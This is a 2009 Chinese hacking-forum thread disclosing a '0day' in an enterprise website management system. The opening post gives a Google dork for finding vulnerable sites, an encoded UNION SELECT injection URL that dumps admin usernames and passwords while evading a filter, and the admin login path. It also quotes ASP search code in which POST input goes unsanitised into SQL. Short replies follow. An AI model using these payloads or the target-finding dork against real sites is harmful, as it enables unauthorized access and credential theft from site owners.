【3.A.S.T】网络安全爱好者 » 0day发布 » 尘月网络企业网站智能管理系统的程序的Oday

Ksnort 发表于 2009-4-14 13:42

尘月网络企业网站智能管理系统的程序的Oday

漏洞报告:
[url]http://www.jshell.cn/logview.asp?id=81[/url]
Google关键字:inurl:/Web-GuestView.asp
测试方法:
[url]http://127.0.0.1/Company.asp?%69d=7%20or%201=2%20un%69on%20s%65lect%201[/url],username,password,4,5,6,7,8%20fr%6Fm%20admin


后台登录： Admin_Cy/Zzm.asp


这程序的外观真不是一般的好啊 结果安全令人大跌眼镜

company.asp中 get方式获取的变量id的值仅仅过滤空格 和判断

值是否为空 包含了一防注 仅仅过滤了get方式传递进来的参数值

company.asp中却是 request.querystring("id") 也就是说 不能使用 post

以及cookie注入 但是防注却用的枫叶防注 嘿嘿 地球人都知道 把变量id的i编码

%69 直接绕过 另外 search.asp中

<%
if trim(request.QueryString("Search"))="" then
   if trim(request.Form("Area"))="" then
      Search="None"
   else
      Search=trim(request.Form("Area"))
   end if
else
   Search=trim(request.QueryString("Search"))
end if
KeyWord=trim(request.Form("KeyWord"))
select case Search
   case "None"
      response.write "<script language=javascript> alert('您没有选择检索范围，点击返回！');history.back(-1);</script>"
      response.end
   case "Pro"
      Locality="检索产品&nbsp;>>&nbsp;关键字："&KeyWord
   SQL = "SELECT id,LName,LAddtime FROM Products where LName like '%"&KeyWord&"%' or LKeyWord like '%"&KeyWord&"%' and LPutout=true ORDER BY id DESC"
   case "News"
      Locality="检索新闻&nbsp;>>&nbsp;关键字："&KeyWord
      SQL= "SELECT id,NewTitle,AddTime FROM News where NewTitle like '%"&KeyWord&"%' and Putout=true ORDER BY id DESC"
   case "zx"
      Locality="检索资讯&nbsp;>>&nbsp;关键字："&KeyWord
      SQL= "SELECT id,FileName,AddTime FROM zx where FileName like '%"&KeyWord&"%' and Putout=true ORDER BY id DESC"
   case "tc"
      Locality="检索套餐&nbsp;>>&nbsp;关键字："&KeyWord
      SQL= "SELECT id,Title,AddTime FROM tc where Title like '%"&KeyWord&"%' and Putout=true ORDER BY id DESC"
   case "Feedback"
      Locality="检索留言&nbsp;>>&nbsp;关键字："&KeyWord
      SQL= "SELECT * FROM Feedback where Title like '%"&KeyWord&"%' and Outpub=true ORDER BY id DESC"
   case "down"
      Locality="检索下载&nbsp;>>&nbsp;关键字："&KeyWord
      SQL= "SELECT id,FileName,AddTime FROM down where FileName like '%"&KeyWord&"%' and Putout=true ORDER BY id DESC"
end select
'===========================
%>

看这里 KeyWord=trim(request.Form("KeyWord")) 是post了吧

注入吧 没任何限制
(以上内容为jshell原创,转载不注明出处的全家死光光)

Ksnort 发表于 2009-4-14 13:43

回复 1楼 Ksnort 的帖子

今天刚出的一个漏洞 大家来看下是如何利用的，自己想想还能学到什么除了表面意思

小糊涂虫 发表于 2009-4-14 14:50

我完全看不懂。。。。。。。。。。

khjl1 发表于 2009-4-27 11:55

呵呵 典型的搜索型注入。。。在别的地方看过了

查看完整版本: 尘月网络企业网站智能管理系统的程序的Oday